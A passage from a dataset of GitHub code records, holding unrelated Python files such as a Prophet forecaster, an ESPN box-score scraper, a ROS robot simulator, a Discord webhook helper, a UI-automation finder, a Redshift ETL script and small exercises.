'xiaomi_browser')\"\n ]\n #conditions = ['1=1']\n df_stream = []\n for stream_condition in streams_conditions:\n #for condition in conditions:\n readsh_params = {\n 'p_stream_condition': stream_condition\n #'p_condition': condition\n }\n print(readsh_params)\n query_res = get_redash_result(query_id, readsh_params)\n df = pd.DataFrame(query_res)\n\n list_of_df = []\n df.date = pd.to_datetime(df.date)#, format='%yyyy-%mm-%dd')\n df = df.sort_values(by='date')\n df = df[df.date < pd.to_datetime(PREDICT_FROM)]\n\n if stream_condition==\"startsWith(stream_id, 'lenta_main_mail_ru') and stream_id != 'lenta_main_mail_ru_mediaproject'\":\n df['DAU'] = df['DAU_hit']\n df = df.drop(['DAU_hit'], axis=1)\n\n df_dau = df.loc[:, ['date', 'DAU']]\n\n df_dau.columns = ['ds', 'y']\n dau = predict_dau_prophet(df_dau, list_of_df, stream_condition)\n df_stream += [predict_metrics_polynom(df, list_of_df, dau)]\n df_final = pd.concat(df_stream)\n #print(df_final)\n write_df_to_ch(df_final, 'stats_prediction_replicated_distributed')\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"LeoPVL/prophet","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"23294414817","text":"\"\"\"Tests for vusion.persist.schedule.\"\"\"\n\nfrom datetime import timedelta, datetime\n\nfrom twisted.trial.unittest import TestCase\n\nfrom vusion.persist import schedule_generator, DialogueSchedule\nfrom tests.utils import ObjectMaker\nfrom vusion.utils import time_from_vusion_format, time_to_vusion_format\n\nclass TestSchedule(TestCase, ObjectMaker):\n \n def test_instanciate(self):\n sometime = time_from_vusion_format('2014-10-02T10:00:00')\n schedule = DialogueSchedule(**self.mkobj_schedule(date_time=time_to_vusion_format(sometime)))\n self.assertEqual('2014-10-02T10:00:00', schedule['date-time'])\n \n schedule = DialogueSchedule(**self.mkobj_schedule(date_time=sometime))\n self.assertEqual('2014-10-02T10:00:00', schedule['date-time'])\n \n def test_is_expired(self):\n now = datetime.now()\n \n schedule = schedule_generator(**self.mkobj_schedule(\n date_time=time_to_vusion_format(now)))\n self.assertFalse(schedule.is_expired(now))\n \n past = now - timedelta(minutes=61) \n schedule = schedule_generator(**self.mkobj_schedule(\n date_time=time_to_vusion_format(past))) \n self.assertTrue(schedule.is_expired(now))\n \n future = now + timedelta(minutes=15)\n schedule = schedule_generator(**self.mkobj_schedule(\n date_time=time_to_vusion_format(future))) \n self.assertFalse(schedule.is_expired(now))","repo_name":"texttochange/vusion-backend","sub_path":"vusion/persist/schedule/tests/test_schedule.py","file_name":"test_schedule.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"}
+{"seq_id":"6351979748","text":"class Solution(object):\n def maxSubArray(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n if len(nums) == 0:\n return 0\n sumSub = [0 for _ in range(len(nums))]\n sumSub[0] = nums[0]\n maxSub = nums[0]\n for i in range(1, len(nums)):\n sumSub[i] = max(sumSub[i - 1] + nums[i], nums[i])\n if maxSub < sumSub[i]:\n maxSub = sumSub[i]\n return maxSub","repo_name":"wudc5/LeetCode","sub_path":"bytedance/最大子序和/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"12442836394","text":"import sys\nimport re\nfrom unidecode import unidecode\nimport numpy as np\nimport pandas as pd\nimport psycopg2\nimport requests\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime, date\nfrom datetime import timedelta\nyear=int(sys.argv[1])\n\n#Removed path\ngames1=pd.read_csv('/home/w205/final_project/csvfiles/games'+str(year)+'.csv',index_col='id')\n\n\nBASE_URL = 'http://espn.go.com/nba/boxscore?gameId={0}'\nprint(games1.index[0])\nrequest = requests.get(BASE_URL.format(games1.index[0]))\n\ntable = BeautifulSoup(request.text,'lxml').find('table', class_='mod-data')\nheads = table.find_all(\"thead\")\n\nheaders = heads[0].find_all('tr')[0].find_all('th')[1:]\nheaders = [th.text for th in headers]\ncolumns = ['id', 'team', 'player'] + headers\n\n\nplayers = pd.DataFrame(columns=columns)\n\ndef get_players(players, team_name):\n array = np.zeros((len(players), len(headers)+1), dtype=object)\n array[:] = np.nan\n for i, player in enumerate(players):\n cols = player.find_all('td')\n array[i, 0] = cols[0].text.split(',')[0]\n for j in range(1, len(headers) + 1):\n if not cols[1].text.startswith('DNP'):\n array[i, j] = cols[j].text\n\n frame = pd.DataFrame(columns=columns)\n for x in array:\n line = np.concatenate(([index, team_name], x)).reshape(1,len(columns))\n new = pd.DataFrame(line, columns=frame.columns)\n frame = frame.append(new)\n return frame\n\nfor index, row in games1.iterrows():\n try:\n\n request = requests.get(BASE_URL.format(index))\n\n table = BeautifulSoup(request.text,'lxml').find_all('table', class_='mod-data')\n heads1 = table[0].find_all('thead')\n bodies1 = table[0].find_all('tbody')\n heads2 = table[1].find_all('thead')\n bodies2 = table[1].find_all('tbody')\n\n\n #team_1 = heads[0].th.text #trouble with getting team names\n team_1 = games1['visit_team'][index]\n\n team_1_players = bodies1[0].find_all('tr') + bodies1[1].find_all('tr')\n\n team_1_players = get_players(team_1_players, team_1)\n players = players.append(team_1_players)\n\n\n #team_2 = heads[3].th.text #trouble with getting team names\n team_2 = games1['home_team'][index]\n #team_2_players = bodies[3].find_all('tr') + bodies[4].find_all('tr')\n team_2_players = bodies2[0].find_all('tr') + bodies2[1].find_all('tr')\n team_2_players = get_players(team_2_players, team_2)\n players = players.append(team_2_players)\n except Exception as e:\n pass\n\nplayers = players.set_index('id')\nplayers['position'] = players.player.apply(lambda x: x[-2:] if x[-1] != 'C' else x[-1])\nplayers['player'] = players.player.apply(lambda x: x[:-2] if x[-1] != 'C' else x[:-1])\n\n#Trying something else\n\ndef conversion(x):\n if type(x)!=float:\n return unidecode(x)\n else:\n return x\n\nplayers=players.applymap(conversion)\n\n#Remove some useless nulls\nplayers1 = players[pd.notnull(players.MIN)]\n\nplayers1.to_csv('/home/w205/final_project/csvfiles/boxscores'+str(year)+'.csv')\n\nif year != 2017:\n conn = psycopg2.connect(database=\"postgres\", user=\"postgres\", password=\"pass\", host=\"localhost\", port=\"5432\")\n\n cur = conn.cursor()\n\n cur.execute('DROP TABLE IF EXISTS boxscores%s' %year)\n\n cur.execute('CREATE TABLE boxscores%s (id varchar(50), team varchar(50),player varchar(50),MIN varchar(50),FG varchar(50),threePT varchar(50),FT varchar(50),OREB varchar(50),DREB varchar(50),REB varchar(50),AST varchar(50),STL varchar(50),BLK varchar(50),turnovers varchar(50),PF varchar(50),plusminus varchar(50),PTS varchar(50),position varchar(50))' %year)\n\n\n cur.execute(\"COPY boxscores%s FROM '/home/w205/final_project/csvfiles/boxscores%s.csv' DELIMITER ',' CSV HEADER;\" %(year,year))\n\n conn.commit()\n","repo_name":"kpbirnbaum/w205-repo","sub_path":"final_project/get_boxscores1.py","file_name":"get_boxscores1.py","file_ext":"py","file_size_in_byte":3778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"835623717","text":"#!/usr/bin/env python\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F \nimport rospy\nimport numpy as np \nimport math\n\nfrom torch.utils.data.dataset import Dataset\nfrom torch.utils.data import DataLoader\nimport matplotlib.pyplot as plt\n\nfrom robot_sim.msg import RobotState\nfrom robot_sim.srv import RobotAction\nfrom robot_sim.srv import RobotActionRequest\nfrom robot_sim.srv import RobotActionResponse\nfrom sklearn.neighbors import KNeighborsRegressor\n\nclass MyDNN(object):\n def __init__(self,num_random_tests,num_steps):\n self.num_random_tests = num_random_tests\n self.num_steps = num_steps\n self.sub = rospy.Subscriber('/robot_states',RobotState, self.callback,queue_size = 100)\n self.state = rospy.Service('fake_robot',RobotAction,self.state_train)\n self.real_robot_action = rospy.ServiceProxy('real_robot', RobotAction)\n self.data_fea = np.empty((self.num_random_tests*self.num_steps+1,9))\n self.label = np.empty((self.num_random_tests*self.num_steps,6))\n self.fake_state = np.array([-1.57,0,0,0,0,0])\n\n def training_data(self): #get the data to train fake robot\n n=0\n for k in range(0,self.num_random_tests):\n action = np.random.rand(1,3)\n action[0,0] = (2 * action[0,0]-1.0) * 1.0\n action[0,1] = (2 * action[0,1] - 1.0) * 0.5\n action[0,2] = (2 * action[0,2] - 1.0) * 0.25\n req_real = RobotActionRequest()\n req_real.reset = True\n resp = self.real_robot_action(req_real)\n self.data_fea[k*self.num_steps,0:6] = np.array(resp.robot_state)\n\n print(k)\n for i in range(self.num_steps):\n req_real = RobotActionRequest()\n req_real.reset = False\n req_real.action = action.reshape((3))\n resp_real = self.real_robot_action(req_real)\n self.data_fea[n,6:9] = req_real.action\n self.label[n] = resp_real.robot_state \n n += 1\n self.data_fea[n,0:6] = resp_real.robot_state\n print('trainning finished')\n self.data_fea = np.delete(self.data_fea,-1,axis = 0)\n #print(self.data_fea)\n\n def training(self):\n self.knn = KNeighborsRegressor(n_neighbors=7)\n self.knn.fit(self.data_fea,self.label)\n \n \n def callback(self,msg):\n if msg.robot_name == 'fake_robot':\n #self.a= a\n #print('call',self.a)\n self.fake_state = np.array(msg.robot_state)\n # print('1',self.fake_state)\n #print(a)\n\n\n def state_train(self,req):\n resp = RobotActionResponse()\n if req.reset == True:\n resp.robot_state = [-1.57,0.0,0.0,0.0,0.0,0.0]\n self.init_state = resp.robot_state\n self.flag = 1\n return resp\n else:\n if self.flag == 1:\n data_pred = np.hstack((np.array(self.init_state),req.action)) \n resp.robot_state = self.knn.predict(np.array([data_pred]))[0,:].tolist()\n #resp.robot_state = [float(i) for i in resp.robot_state]\n self.flag = 0\n else:\n #print('2',self.fake_state)\n data_pred = np.hstack((self.fake_state,req.action)) \n resp.robot_state = self.knn.predict(np.array([data_pred]))[0,:].tolist()\n return resp\n\n\n\n\n\n\nif __name__=='__main__':\n rospy.init_node('fake_robot_DNN',anonymous=True)\n haha = MyDNN(1000,200)\n haha.training_data()\n haha.training()\n rospy.spin()\n\n\n\n\n\n\n\n","repo_name":"DannyJuly/Robotics-Master","sub_path":"project2_knn_rods/src/project2/robot_sim/scripts/fake_robot.py","file_name":"fake_robot.py","file_ext":"py","file_size_in_byte":3620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"71319017853","text":"import sys\r\ninput = sys.stdin.readline\r\n\r\nn, min_avg_score = map(float, input().split())\r\ngrade = {\r\n 'A+': 4.5,\r\n 'A0': 4.0,\r\n 'B+': 3.5,\r\n 'B0': 3.0,\r\n 'C+': 2.5,\r\n 'C0': 2.0,\r\n 'D+': 1.5,\r\n 'D0': 1.0,\r\n 'F': 0.0\r\n}\r\n\r\nscore = 0\r\ncredit = 0\r\n\r\nfor _ in range(int(n) - 1):\r\n c, g = input().split()\r\n credit += int(c)\r\n score += int(c) * grade[g]\r\n\r\nl = int(input())\r\n\r\nfor g in sorted(grade.keys(), reverse=True):\r\n cur_avg_score = int(\r\n int(((score + l * grade[g]) / (credit + l)) * 1000) / 10) / 100\r\n if cur_avg_score > min_avg_score:\r\n print(g)\r\n break\r\nelse:\r\n print('impossible')\r\n","repo_name":"LimSB-dev/BaekjoonHub","sub_path":"백준/Silver/29753. 최소 성적/최소 성적.py","file_name":"최소 성적.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"20940285524","text":"from utils import serialize_object\r\n\r\n\r\nclass CreateRequestPacker:\r\n @staticmethod\r\n def pack(state):\r\n response = {\r\n \"model\": {\r\n \"serializedData\": serialize_object(state[\"model\"])\r\n }\r\n }\r\n return response\r\n\r\n\r\nclass TrainRequestPacker:\r\n @staticmethod\r\n def pack(state):\r\n response = {\r\n \"model\": {\r\n \"serializedData\": serialize_object(state[\"model\"])\r\n }\r\n }\r\n if len(state[\"scalers\"]) > 0:\r\n response[\"scalers\"] = [{\r\n \"serializedData\": s\r\n } for s in [serialize_object(s) for s in state[\"scalers\"]]]\r\n\r\n response[\"encodersFeatures\"] = [{\r\n \"encoder\": {\"serializedData\": e}\r\n } for e in [serialize_object(e) for e in state[\"feature_encoders\"].values()]]\r\n\r\n response[\"encoderLabels\"] = {}\r\n response[\"encoderLabels\"][\"serializedData\"] = serialize_object(\r\n state[\"labels_encoder\"])\r\n return response\r\n\r\n\r\nclass PredictRequestPacker:\r\n @staticmethod\r\n def pack(state):\r\n response = {\r\n \"labels\": state[\"predict_y\"]\r\n }\r\n if state[\"predict_proba\"] is not None:\r\n response[\"distributions\"] = state[\"predict_proba\"]\r\n return response\r\n","repo_name":"mrxFr1ends/sklearn-classification-algorithms-provider","sub_path":"src/packers.py","file_name":"packers.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"31772934295","text":"numbers = [1,2,5,0,7,0,9,0,2,0,2,3]\nzeroArr = []\nascNum = []\nfor num in numbers:\n if num == 0:\n print(zeroArr.append(num))\n else:\n print(ascNum.append(num))\n\n##print(zeroArr)\n##print(ascNum)\nsortedList = print(sorted(ascNum))\nprint(sortedList + zeroArr)\n\n","repo_name":"RokhayaN/web-ft-11-22","sub_path":"week1/day5/algo.py","file_name":"algo.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"5149786467","text":"from Player import Player\nfrom Dog import Dog\n\nChien1 = Dog(\"Rex\",5,[\"Michel\",\"Loïc\"])\nChien2 = Dog(\"Fifi\",15,[\"Micheline\"])\nChien3 = Dog(\"Bibi\",1,[])\n\n\nChien1.learn(\"Faire le beau\")\nChien2.learn(\"Faire le beau\")\n\nChien1.learn(\"Donner la patte\")\nChien3.learn(\"Donner la patte\")\n\nChien2.learn(\"Faire une roulade\")\nChien3.learn(\"Faire une roulade\")\n\nChien1.tricks_compare(Chien2)\nChien2.tricks_compare(Chien3)","repo_name":"MinaZA/Python","sub_path":"classdog.py","file_name":"classdog.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"10687046495","text":"import json\n\n\ndef sendResponse(message):\n result = {\n \"dialogAction\": {\n \"fulfillmentState\": \"Fulfilled\",\n \"type\": \"Close\",\n \"message\": {\n \"contentType\": \"PlainText\",\n \"content\": message\n }\n }\n }\n return result\n\n\ndef lambda_handler(event, context):\n service_response = event['currentIntent']['slots']['Service']\n print(service_response)\n if (service_response == 'sentiment analysis' or service_response == 'analysis'):\n message = \"Please navigate to the second link from top right corner (The sentiment analysis link). You can upload your documents there.\"\n return sendResponse(message)\n\n else:\n message = \"Please navigate to the third link from top right corner. You can upload your documents there.\"\n return sendResponse(message)\n\n","repo_name":"AninditaGuha98/Learning-Management-System-serverless-application","sub_path":"Cloud Services/Lambda Functions/Lex Module/myBot_findService_lambda.py","file_name":"myBot_findService_lambda.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"}
+{"seq_id":"298581221","text":"from time import sleep\r\nimport logging\r\nimport json\r\nimport collections\r\nfrom itertools import dropwhile\r\n\r\nfrom pywinauto.controls.uiawrapper import UIAWrapper\r\n\r\n\r\nlogger = logging.getLogger(\"Robot\")\r\n\r\n\r\ndef generate_snippet(generated_path):\r\n \"\"\"Генератор кода для запуска\r\n\r\n Args:\r\n generated_path (dict): Словарь сгенерированными путями\r\n\r\n \"\"\"\r\n generated_code = dict()\r\n if generated_path:\r\n ordered_path = collections.OrderedDict(\r\n reversed(sorted(generated_path[\"path\"].items()))\r\n )\r\n\r\n main_dlg_path = next(iter(ordered_path.values()))\r\n top_index = int(next(iter(ordered_path.keys())))\r\n generated_code = (\r\n \"dk.window(class_name='{0}',\"\r\n \"control_type='{1}', found_index=0)\".format(\r\n main_dlg_path[\"class_name\"], main_dlg_path[\"control_type\"]\r\n )\r\n )\r\n\r\n for item_path in dropwhile(\r\n lambda x: int(x[0]) != 0, ordered_path.items()\r\n ):\r\n generated_code += (\r\n \".descendants(class_name='{0}', title='{1}',\"\r\n \"control_type='{2}', depth={4})[{3}]\".format(\r\n item_path[1][\"class_name\"],\r\n item_path[1][\"title\"],\r\n item_path[1][\"control_type\"],\r\n item_path[1][\"top_parent_index\"] if \"top_parent_index\" in item_path[1] else 0,\r\n top_index -\r\n int(item_path[0]) if int(item_path[0]) > 0 else None,\r\n )\r\n )\r\n return generated_code\r\n\r\n\r\ndef find_element_by_uia(json_path: str, need_print: bool = False, wait_time: int = 10) -> UIAWrapper:\r\n \"\"\"[Поиск элемента через pywinauto.Desktop(backend='uia')]\r\n\r\n Args:\r\n json_path ([str]): [Путь до json файла]\r\n need_print ([bool]): [False по умолчанию, вывод сгенерированного кода, если True]\r\n \"\"\"\r\n elem = None\r\n code_inject = \"\"\" \r\nfrom pywinauto import Desktop\r\ndk = Desktop(backend='uia', allow_magic_lookup=False)\r\n \"\"\"\r\n\r\n generated_json = get_json_file(json_path)\r\n generated_code = generate_snippet(generated_json)\r\n file_name = ' '.join(\r\n ' '.join(json_path.split('\\\\')).split('/')).split()[-1]\r\n if need_print:\r\n logger.info(generated_code)\r\n exec(code_inject)\r\n for _ in range(wait_time):\r\n try:\r\n elem = eval(generated_code)\r\n except Exception as err:\r\n logger.error(\r\n f'SmartRPA (activity): UIA Element could not find: {file_name}')\r\n if elem:\r\n logger.info(f\"SmartRPA (activity): UIA Element: {file_name}\")\r\n return elem\r\n sleep(1)\r\n return elem\r\n\r\n\r\ndef get_json_file(filename: str) -> dict:\r\n \"\"\"read given json file\r\n\r\n Args:\r\n filename (str): filename of json file\r\n\r\n Returns:\r\n dict: json.loads()\r\n \"\"\"\r\n\r\n try:\r\n with open(f'{filename}.json') as outfile:\r\n return json.load(outfile)\r\n except FileNotFoundError:\r\n raise Exception(f'Не найден файл: {filename}')\r\n","repo_name":"USerik/uia-recoreder-win32","sub_path":"uiarecorder/play.py","file_name":"play.py","file_ext":"py","file_size_in_byte":3218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"40794804368","text":"import random\nimport os\nfrom xmlparser import XML_Parser\nimport logging\n\n\nclass Mapper:\n def __init__(self, img_dir, prf_manager):\n self.img_dir = img_dir\n self.profile_manager = prf_manager\n self.eth_map = {}\n eth_dirs = [f.name for f in os.scandir(img_dir) if f.is_dir()]\n for dir in eth_dirs:\n dir_imgs = set([f.name.split('.')[0] for f in os.scandir(img_dir+dir) if f.is_file()])\n self.eth_map[dir] = dir_imgs\n\n logger = logging.getLogger('NewGAN App')\n self.logger = logger\n\n def generate_mapping(self, rtf_data, mode, duplicates=False):\n mapping = []\n prf_imgs = []\n xml_data = {}\n\n if mode in [\"Preserve\", \"Overwrite\"]:\n xml_parser = XML_Parser()\n xml_data = xml_parser.parse_xml(self.img_dir+\"config.xml\")\n prf_imgs = self.get_xml_images(xml_data)\n\n if not duplicates:\n for eth in self.eth_map:\n self.eth_map[eth] = self.eth_map[eth] - set(prf_imgs)\n\n for i, player in enumerate(rtf_data):\n p_ethnic = None\n n2_ethnic = None\n if player[2]:\n n2_ethnic = self.profile_manager.get_ethnic(player[2])\n n1_ethnic = self.profile_manager.get_ethnic(player[1])\n if n1_ethnic is None:\n self.logger.info(\"Mapping for {} is missing. Skipping player {}\".format(player[1], player[0]))\n continue\n self.logger.info(\"{}/{}: {}, {}, {}\".format(i, len(rtf_data), player, n1_ethnic, n2_ethnic))\n if int(player[3]) > 10:\n self.logger.info(\"Ethnic value {} is invalid. Most likely a bug in the view. Skipping player {}\".format(player[3], player[0]))\n continue\n if player[3] == \"1\":\n if \"Scandinavian\" in [n1_ethnic, n2_ethnic]:\n p_ethnic = \"South American\"\n if \"Seasian\" in [n1_ethnic, n2_ethnic]:\n p_ethnic = \"South American\"\n if \"Central European\" in [n1_ethnic, n2_ethnic]:\n p_ethnic = \"South American\"\n if \"Caucasian\" in [n1_ethnic, n2_ethnic]:\n p_ethnic = \"South American\"\n if \"African\" in [n1_ethnic, n2_ethnic]:\n p_ethnic = \"South American\"\n if \"Asian\" in [n1_ethnic, n2_ethnic]:\n p_ethnic = \"South American\"\n if \"MENA\" in [n1_ethnic, n2_ethnic]:\n p_ethnic = \"South American\"\n if \"MESA\" in [n1_ethnic, n2_ethnic]:\n p_ethnic = \"South American\"\n if \"EECA\" in [n1_ethnic, n2_ethnic]:\n p_ethnic = \"EECA\"\n if \"Italmed\" in [n1_ethnic, n2_ethnic]:\n p_ethnic = \"Italmed\"\n if \"SAMed\" in [n1_ethnic, n2_ethnic]:\n p_ethnic = \"SAMed\"\n if \"SpanMed\" in [n1_ethnic, n2_ethnic]:\n p_ethnic = \"SpanMed\"\n if \"YugoGreek\" in [n1_ethnic, n2_ethnic]:\n p_ethnic = \"YugoGreek\"\n if \"South American\" in [n1_ethnic, n2_ethnic]:\n p_ethnic = \"South American\"\n elif player[3] in [\"3\", \"6\", \"7\", \"8\", \"9\"]:\n # SAMed with 7 is light-skinned\n if \"SAMed\" == n1_ethnic and player[3] == \"7\":\n p_ethnic = \"SAMed\"\n # South American with 7 is light-skinned\n elif \"South American\" == n1_ethnic and player[3] == \"7\":\n p_ethnic = \"South American\"\n else:\n p_ethnic = \"African\"\n elif player[3] == \"10\":\n if \"South American\" == n1_ethnic:\n p_ethnic = \"South American\"\n else:\n p_ethnic = \"Asian\"\n elif player[3] == \"2\":\n p_ethnic = \"MENA\"\n if \"MESA\" in [n1_ethnic, n2_ethnic]:\n p_ethnic = \"MESA\"\n elif player[3] == \"5\":\n p_ethnic = \"Seasian\"\n elif player[3] == \"0\":\n p_ethnic = \"Central European\"\n if \"Scandinavian\" in [n1_ethnic, n2_ethnic]:\n p_ethnic = \"Scandinavian\"\n elif \"Caucasian\" in [n1_ethnic, n2_ethnic]:\n p_ethnic = \"Caucasian\"\n elif player[3] == \"4\":\n p_ethnic = \"MESA\"\n if player[0] in xml_data:\n if mode == \"Preserve\":\n # self.logger.info(\"Preserve: {} {} {}\".format(player[0], p_ethnic, xml_data[player[0]][\"image\"]))\n mapping.append([player[0], p_ethnic, xml_data[player[0]][\"image\"]])\n del xml_data[player[0]]\n continue\n elif mode == \"Overwrite\":\n # self.logger.info(\"Overwrite: {} {}\".format(player[0], p_ethnic))\n prf_imgs.remove(xml_data[player[0]][\"image\"])\n del xml_data[player[0]]\n player_img = self.pick_image(p_ethnic, duplicates)\n prf_imgs.append(player_img)\n if player_img is None:\n self.logger.info(\"Ethnicity {} has no faces left for mapping. Skipping player {}\".format(p_ethnic, player[0]))\n continue\n mapping.append([player[0], p_ethnic, player_img])\n if mode in [\"Overwrite\", \"Preserve\"]:\n self.post_rtf_hook(mapping, prf_imgs, xml_data)\n return mapping\n\n def get_xml_images(self, xml_data):\n return [i[\"image\"] for i in xml_data.values()]\n\n def pick_image(self, ethnicity, duplicates=False):\n selection_pool = self.eth_map[ethnicity]\n if len(selection_pool) == 0:\n return None\n choice = random.choice(tuple(selection_pool))\n\n if not duplicates:\n selection_pool.remove(choice)\n\n return choice\n\n def post_rtf_hook(self, mapping, prf_imgs, xml_data):\n for uid, values in xml_data.items():\n p_ethnic = values[\"ethnicity\"]\n player_img = values[\"image\"]\n mapping.append([uid, p_ethnic, player_img])\n","repo_name":"Maradonna90/NewGAN-Manager","sub_path":"src/mapper.py","file_name":"mapper.py","file_ext":"py","file_size_in_byte":6215,"program_lang":"python","lang":"en","doc_type":"code","stars":123,"dataset":"github-code","pt":"78"}
+{"seq_id":"33810316084","text":"from django.contrib import admin\nfrom . import models\n\n# model이 admin panel에서 어떻게 시각화할 것인지 결정\n\n@admin.register(models.Image) # decorator\nclass ImageAdmin(admin.ModelAdmin):\n list_display_links = ( # admin panel에 출력된 object의 field에 링크를 걸 목록 \n 'location',\n )\n\n search_fields = ( # 검색 필드로 사용할 field 목록\n 'location',\n )\n\n list_filter = ( # filter로 사용할 field 목록\n 'location',\n 'creator',\n )\n\n list_display = (\n 'file',\n 'location',\n 'caption',\n 'creator',\n 'created_at',\n 'updated_at',\n )\n\n@admin.register(models.Like)\nclass LikeAdmin(admin.ModelAdmin):\n list_display = (\n 'creator',\n 'image',\n 'created_at',\n 'updated_at',\n )\n\n@admin.register(models.Comment)\nclass CommentAdmin(admin.ModelAdmin):\n list_display = (\n 'message',\n 'creator',\n 'image',\n 'created_at',\n 'updated_at',\n )\n\n","repo_name":"makeawesome/minstagram","sub_path":"minstagram/images/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"35022604996","text":"import configparser\nimport psycopg2\nfrom sql_queries import copy_table_queries, insert_table_queries\n\n\ndef load_staging_tables(cur, conn):\n \"\"\"\n Loads the staging tables using the queries in `copy_table_queries` list.\n \n Parameters\n ----------\n cur : cursor object\n Cursor object to execute the queries.\n conn : connection object\n Connection object to commit.\n \"\"\"\n for query in copy_table_queries:\n cur.execute(query)\n conn.commit()\n\n\ndef insert_tables(cur, conn):\n \"\"\"\n Inserts data into the tables using the queries in `insert_table_queries` list.\n \n Parameters\n ----------\n cur : cursor object\n Cursor object to execute the queries.\n conn : connection object\n Connection object to commit.\n \"\"\"\n for query in insert_table_queries:\n print(query)\n cur.execute(query)\n conn.commit()\n\n\ndef main():\n \"\"\"\n - Reads the configuration file named `dwh.cfg` \n to return the parameters required for the connection object `conn`. \n \n - Establishes connection with the database and gets\n cursor to it. \n \n - Loads the staging tables using `load_staging_tables()`. \n \n - Inserts data into the tables specified using `insert_tables()`. \n \n - Finally, closes the connection. \n \"\"\"\n config = configparser.ConfigParser()\n config.read('dwh.cfg')\n\n conn = psycopg2.connect(\"host={} dbname={} user={} password={} port={}\".format(*config['CLUSTER'].values()))\n cur = conn.cursor()\n \n load_staging_tables(cur, conn)\n insert_tables(cur, conn)\n\n conn.close()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"MohamedHossamEl-Din/Data_Warehouse_with_Amazon_Redshift","sub_path":"etl.py","file_name":"etl.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"31117114981","text":"import logging\r\nimport requests\r\nimport json\r\n\r\nlogger = logging.getLogger('DiscordWebhook')\r\n\r\n\r\nclass DiscordHook:\r\n def __init__(self):\r\n self.color = None\r\n self.timestamp = None\r\n self.url = None\r\n self.type = None\r\n self.title = None\r\n self.description = None\r\n\r\n self.footer = None\r\n self.author = None\r\n self.thumbnail = None\r\n self.title = None\r\n\r\n self.fields = []\r\n\r\n def set_thumbnail(self, url: str, proxy_url: str = None, height: int = None, width: int = None):\r\n thumbnail = {'url': url}\r\n if proxy_url:\r\n thumbnail['proxy_url'] = proxy_url\r\n if height:\r\n thumbnail['height'] = height\r\n if width:\r\n thumbnail['width'] = width\r\n\r\n self.thumbnail = thumbnail\r\n\r\n def set_footer(self, text: str, icon_url: str = None, proxy_icon_url: str = None):\r\n footer = {\"text\": text}\r\n if icon_url:\r\n footer['icon_url'] = icon_url\r\n if proxy_icon_url:\r\n footer['proxy_icon_url'] = proxy_icon_url\r\n\r\n def set_author(self, name: str, url: str = None, icon_url=None, proxy_icon_url: str = None):\r\n author = {\"name\": name}\r\n if url:\r\n author['url'] = url\r\n if icon_url:\r\n author['icon_url'] = icon_url\r\n if proxy_icon_url:\r\n author['proxy_icon_url'] = proxy_icon_url\r\n\r\n self.author = author\r\n\r\n def add_field(self, name: str, description: str, inline: bool = False):\r\n self.fields.append({\r\n \"name\": name,\r\n \"value\": description,\r\n \"inline\": inline\r\n })\r\n\r\n def to_dict(self):\r\n j = self.__dict__\r\n for k, v in dict(j).items():\r\n if v is None:\r\n del j[k]\r\n return j\r\n\r\n def send(self, url):\r\n logger.debug(\"sending killmail to discord: %s\" % url)\r\n headers = {'content-type': 'application/json'}\r\n r = requests.post(url=url,\r\n data=json.dumps({'embeds': [self.to_dict()]}),\r\n headers=headers)\r\n return r\r\n","repo_name":"Wiseau/zStream","sub_path":"discord_webhook.py","file_name":"discord_webhook.py","file_ext":"py","file_size_in_byte":2152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"29135279064","text":"# -*- coding: utf-8 -*-\n# @Time : 2017/12/13 19:31\n# @Author : zhoujun\n\nimport tensorflow as tf\nfrom .resnet import batch_norm_relu\n\ndef alexnet(input_imgs: tf.Tensor, is_training: bool, summaries: bool = True) -> tf.Tensor:\n inputs = input_imgs\n if inputs.shape[-1] not in [1, 3]:\n raise NotImplementedError\n\n with tf.variable_scope('AlexNet'):\n # conv1 128*32*304*3 -> 128*6*74*64\n inputs = tf.layers.conv2d(inputs=inputs, filters=96, padding='SAME', kernel_size=11, strides=4,\n activation=tf.nn.relu, name='conv1')\n inputs = batch_norm_relu(inputs, is_training)\n print(inputs.get_shape)\n\n inputs = tf.layers.max_pooling2d(inputs=inputs, pool_size=3, strides=[2,1], padding='SAME', name='pool1')\n print(inputs.get_shape)\n\n inputs = tf.layers.conv2d(inputs=inputs, filters=256, padding='SAME', kernel_size=5, strides=1,\n activation=tf.nn.relu, name='conv2')\n inputs = batch_norm_relu(inputs, is_training)\n print(inputs.get_shape)\n\n inputs = tf.layers.max_pooling2d(inputs, 